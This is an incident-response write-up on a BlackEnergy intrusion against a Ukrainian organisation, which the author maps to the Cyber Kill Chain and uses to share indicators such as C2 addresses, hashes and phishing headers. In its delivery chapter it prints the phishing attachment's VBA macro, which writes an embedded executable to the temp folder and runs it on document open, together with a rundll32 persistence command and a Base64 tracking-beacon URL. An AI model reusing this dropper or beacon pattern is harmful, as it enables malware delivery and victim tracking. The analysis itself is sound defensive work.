DISMANTLING BLACKENERGY, PART 3 – ALL ABOARD!

Aleksey Yasinskiy
WRITTEN BY
Aleksey Yasinskiy
[post-views]
March 29, 2016 · 14 min read

Abordage  – the act of boarding an enemy ship as part of an attack.

In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.

blackenergy-p3_2

PROLOGUE

Here goes the story. I have to follow a certain level of discretion so the user names and infrastructure server names are masked and altered. Dates and external IP addresses however are unaltered and I share them in a same state as they appeared in log files. We had a following action plan: as we discover any Indicator of Compromise (IOC), we crosscheck it with log data and based on any additional discoveries we correct our filters, and then launch another search. We systematically sifted through gigabytes of logs and the big picture started to appear more clearly for us, that I am now going to share with you in this article.

On Sunday morning of October 25, I have received a call from our IT administration department with a message that domain controller servers have suddenly shutdown during night and never went back up again. As our team got to the site, the first thing we asked for were the images of the “crashed” servers (of course we had virtual images). Initial analysis has clearly indicated that both servers had their MBR overwritten. We managed to recover MBR by applying some practical TestDisk magic (https://en.wikipedia.org/wiki/TestDisk) and proceeded with analysis. Things got more interesting. Most of the files on the disk were filled with zeroes, so they all looked like same files with same size but inside there were only zeroes! Among the files that survived, some event log files served as our starting point to begin mapping all the anomalous events on the timeline. I will describe the discovered indicators in reverse order, from the moment when incident happened to the beginning (penetration). 

CHAPTER 1. ACTIONS AND OBJECTIVES OF THE ATTACK

While we worked with log data of recovered domain controllers, we got another call stating that another server has been “infected” with similar symptoms, this time however it was an application server. Thus, we got an image of this server as well:
blackenergy-p3_3We analyzed events that occurred right before the “crash” and mapped them on our timeline:

blackenergy-p3_4-1Let me explain a bit what exactly is displayed here. An area with blue border marks the results of the actions that we have witnessed as server crashes. Right before the shutdown, unauthorized logon attempts from domain admin accounts were logged. Actions performed include modification of the svchost.exe service and spawn of the child service msDefenderSvc:

blackenergy-p3_5

blackenergy-p3_6

blackenergy-p3_7

blackenergy-p3_8

blackenergy-p3_9

https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/

To the left, there is another event of interest that proves that global policy was modified:

blackenergy-p3_10

blackenergy-p3_11

Without a hard guess and by looking at the script contents we see that when a user logs on to his PC, a file called ololo.exe (that I have partially reversed and described here: https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/) will be automatically downloaded from a network share.

In addition, by analyzing the logs of the workstations (getting a little ahead I want to say that we have checked through logs from more than a hundred workstations) we have discovered a following anomaly: a set of the events originating from privileged users that modified scheduled tasks on user PC’s:

blackenergy-p3_12

This is how the event looked like in domain controller logs:

blackenergy-p3_13

Moreover, that is how it looked like on user’s PC:

blackenergy-p3_14

This was basically a “kill shot”, just in case that domain controller will not manage to finish its task and will crashes earlier than it can push the group policy out to the workstations. As a result, we can clearly map this part of the attack to the “Actions on Objectives” of the Kill Chain model. In this case, the goal is to destroy the data on the maximum possible amount of PC’s.

blackenergy-p3_15

CHAPTER 2. “INSTALLATION AND EXPLOITATION” AKA DEPLOYING BLACKENERGY BY EXPLOITING VULNERABILITIES.

So what happened before the adversaries got the access to the servers? By analyzing event logs, we have discovered a following sequence of the events:

blackenergy-p3_16Description of the numbered attack stages:

1 & 2 – unauthorized VPN access and a right away RDP access to domain controllers

3 – installation of VBoxDrv.sys (CVE-2008-3431) service. This step was required to bypass DSE (Driver Signature Enforcement is a mandatory check of driver signatures) without a reboot ( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability ).

4 – since DSE is neutralized as part of previous step, installation of self-signed drivers adpu320.sys and amdide.sys will not be a problem anymore.

Both .sys files produce the same hash value. As of 06.11.2015 only 2 antivirus solutions could detect them, but even back then it was clear that we are dealing with BlackEnergy (both domain controllers had an antivirus solution running but it wasn’t one of those 2 AV’s that could catch it):

blackenergy-p3_17

4 days later 12 antiviruses detected these samples already.

blackenergy-p3_18

Thus, we can conclude that this phase of the attack can be successfully mapped to the Cyber Kill Chain stages of “Installation” and “Exploitation”.

blackenergy-p3_19

CHAPTER 3. “ACTIONS ON OBJECTIVES”, “RECONNAISSANCE”

It is obvious that the administrator accounts were compromised and it is reasonable to suspect that their workstations were also subject to unauthorized access. Based on analysis of their workstation logs (and few hundreds of other workstations) an anomalous activity related to the usage of the remote management utility from Sysinternals suite PsExec was discovered:

blackenergy-p3_20

Timeline above depicts a fragment of the activity related to data collection from the workstations.

And this is how the event looks like in workstation logs:

blackenergy-p3_21

This phase can be mapped to Cyber Kill Chain model yet again, respectively corresponding to “Reconnaissance” and “Actions on Objectives” (objectives being the data collection about infrastructure and users). I mapped this phase to “Reconnaissance” too since there is high suspicion that adversaries have gathered additional data from the workstations to further stage their attack.

blackenergy-p3_22

CHAPTER 4. “COMMAND AND CONTROL (C2)”, COMMUNICATION WITH BLACKENERGY SERVERS

We ran a parallel analysis of both workstation logs and firewall logs. Since it was clear that BlackEnergy was used to attack us, we used all published research and articles on this matter to check on communications with known command centers:

blackenergy-p3_23As seen on this part of the timeline, we trace the history of the attack all the way to May 2015! 15.05.2015 is the day where the first communication with one of the known command and control servers that is also part of Tor network (5.149.254.114).

Unfortunately, a workstation that conducted communication with this command center has also contained a file with passwords for several YouTube profiles and on 22.05.2015 those accounts got hijacked. Hacking was conducted from other two servers 185.61.138.143 and 46.28.68.158 (Tor nodes again) fake email addresses and recovery phone numbers were used. There was not any particular damage incurred by the attack and during that time, it did not even look like a targeted hack. Accounts were quickly recovered, a 2-factor authentication was added, conclusions made, and the incident was kept closed all the way until November 2015 – the day it clearly became a piece of a bigger puzzle!

I believe this attack phase can be categorized as “Command & Control (C2)”:

blackenergy-p3_24

CHAPTER 5. “DELIVERY” OF BLACKENERGY MODULES

blackenergy-p3_25

We retrieved a list of all workstations that conducted communication with command servers from the firewall logs and have built a filter based on the IP addresses of these workstations, this filter was used to search through all activity these machines conducted in entire 2015 with a goal to find any anomalies and patterns. The patterns were found. A common link (aside of a number of ordinary servers such as Google or Facebook/VK/Twitter etc.) appeared to be one single server with an IP of 176.53.127.194 (and again this is a Tor node!):

blackenergy-p3_26

On 23.04.2015 one of the employees has received an ordinary email, that displayed a few interesting details after a more thorough look (of course during the time of investigation, more than half a year after email was opened):

blackenergy-p3_27
First, let us look at e-mail headers:

Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]) Thu, 23 Apr 2015 09:43:45 +0300

Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

by mx1-mail.com [5.149.248.67] with esmtp (envelope-from <info@rada.gov.ua>)

From: «info@rada.gov.ua» <info@rada.gov.ua>

Return-Path: info@rada.gov.ua

5.149.248.67 – an already known IP address that was used for sending similar emails to other organizations (https://cys-centrum.com/ru/news/black_energy_2_3).

Regarding the attachment, an .xls file contains the following macro:

Private a(864) As Variant

Private Sub Init0()

  a(1) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0)

…..пропущено……

    a(864) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0).

End Sub

 

Private Sub MacroExpl()

    Dim fnum As Integer

    Dim fname As String

    Dim i As Integer

    Dim j As Integer

    Dim aa As Byte

    Init0

    Init28

    fnum = FreeFile

    fname = Environ(“TMP”) & “\vba_macro.exe

    Open fname For Binary As #fnum

    For i = 1 To 864

        For j = 0 To 127

            aa = a(i)(j)

            Put #fnum, , aa

        Next j

    Next i

    Close #fnum

    Dim rss

    rss = Shell(fname, 1)

End Sub

 

Private Sub Document_Open()

    MacroExpl

End Sub

By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe, which is in fact a BlackEnergy dropper

https://www.virustotal.com/ru/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/analysis/1458721530/

https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1

Dropper initiates a connection to an already known to us command center:

blackenergy-p3_28_1

Afterwards, malware receives further “instructions”, forms a file called FONTCACHE.DAT, and loads it by using rundll32.exe since FONTCACHE.DAT is in fact a variation of packet.dll – back from the Hackers Encyclopedia 2002, developed by Whirlwind Software for Windows OS:

C:\WINDOWS\system32\rundll32.exe C:\WINDOWS\system32\rundll32.exe" "C:\Documents and Settings\<USER>\Local Settings\Application Data\FONTCACHE.DAT"

Then it writes it to Startup:

C:\Documents and Settings\<USER>\Start Menu\Programs\Startup\{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnk

Now let us take a more thorough look at the picture at emails email footer that did not manage to load:

blackenergy-p3_28_2

A link to our “picture” looks like this:

src=”http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.png

After some Base64 decoding it turns into:

src=”http://176.53.127.194/mail_ivanov.ivan@domen.ua.png

Therefore, this is an alert for the adversaries that confirms the fact that Ivan Ivanov has successfully opened an email and is ready to “receive further instructions”.

I want to once again underline that there was only one email in April and it had only one recipient.

Now let us look at the emails that were received in July (mass mailing to more than 2000 addresses). A common pattern is that all emails contained the same “beacon” that reported back to the same IP (176.53.127.194) and has precisely identified the recipient. So this was not just a spam campaign, but a targeted campaign, and the only part that was different is the absence of the prefix ”mail_” in decoded message:

blackenergy-p3_29

The same IP address in the header:

Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]) by

Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

by  mx1-mail.com [5.149.248.67] with esmtp (envelope-from  <pravyysektor@rada.gov.ua>)

From: “pravyysektor@rada.gov.ua” <pravyysektor@rada.gov.ua>

Date: Tue, 28 Jul 2015 09:08:38 +0200

Return-Path: pravyysektor@rada.gov.ua

Letter contents that clearly shows our “beacon”:

blackenergy-p3_29_1Despite the fact that mass mailing addressed entire company, obviously, a spam and that email with such a text are forbidden to open, still some users opened the email, which caused an outburst of communication with a known command and control center:

blackenergy-p3_30

As observed on the timeline, the first communication downloaded 28 863 bytes, the next one already 359 276 bytes etc. Communications had clear sequence and clear structure:

blackenergy-p3_31

There is no doubt of classifying this stage of attack as “Delivery”:

blackenergy-p3_32

As we can see, the attack has all signs of the APT structure that can be clearly described by using Cyber Kill Chain methodology.

EVALUATION OF THE CONSEQUENCES

On the negative side: the data was destroyed on two domain controllers, one application server and a bit more than a dozen PC’s.

On the bright side of things:  we got a free penetration test, invaluable experience of real APT investigation, we created/tuned a number of tools that not only automate our work with log processing but also malware reverse analysis (but I’m getting ahead of myself, this is a subject for another whole article). Management got a much better understanding of the purpose of InfoSec (priceless!). This single demonstration of a real threat and investigation that followed has helped us more than previous voicing of concerns or hypothetical threats. Thorough teamwork with IT administrators has taken our professional collaboration to the next level. Thus, I consider these events a real cyber combat training and the best lessons to get real understanding of the adversary’s methods and techniques.

As conclusion, I want to say that many things are left out of the article and some pieces are still being thoroughly studied.

There are two goals that I want to achieve by publishing this investigation:

  1. To display that on one side, BlackEnergy is not a mega-monster that can be thrown onto an uninhabitable planet and that can half-a-year later build its own base of operations that can power its survival 🙂 On other hand, it is a powerful and specialized tool that can in a hands of a specialist cause a massive damage to the victim of the attack.
  2. To underline that an attack that leverages BlackEnergy is but one of the examples of the evolution of technologies that are actively used by cybercriminals. These are not simple cyber-raids, we are dealing with an finely organized and precisely planned operations, similar to the ones conducted by military special forces (article picture was chosen by this association).

Based on the above, we can build one of the scenarios of using such information: why would one need to hack a bank when one can just buy an access to an infrastructure of any supply chain company, that has a constant site-to-site VPN connectivity and receive an “officially authorized” access (we can refer to cartoon about a bank and a janitor: https://www.youtube.com/watch?v=fB2b-lTjCQA ).

As usual, I would be grateful to all that check their log data for the mentioned indicators (IOC’s) after reading the article.

In the follow-on articles I will share some methods that allow to detect certain indicators of the adversary activities that were described and allow to build a complex of organizational and technical measures aimed at minimizing the probability of such incidents taking place in an organization, or at the very least increasing the likelihood of their rapid discovery.

CREDITS

Huge thanks goes to my colleagues for their enthusiasm, persistence and a job well done. I want to express a dedicated gratitude to Marina Krotofil and team of Andrii Bezverkhyi for their assistance in the preparation of the analysis and the article. Additional thanks go to HPE , LanTec and SOC Prime for material and technical help with hardware and software that were provided during the investigation and countering of the attack.

Translated from original by Andrii Bezverkhyi | CEO SOC Prime

Was this article helpful?

Like and share it with your peers.
Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Related Posts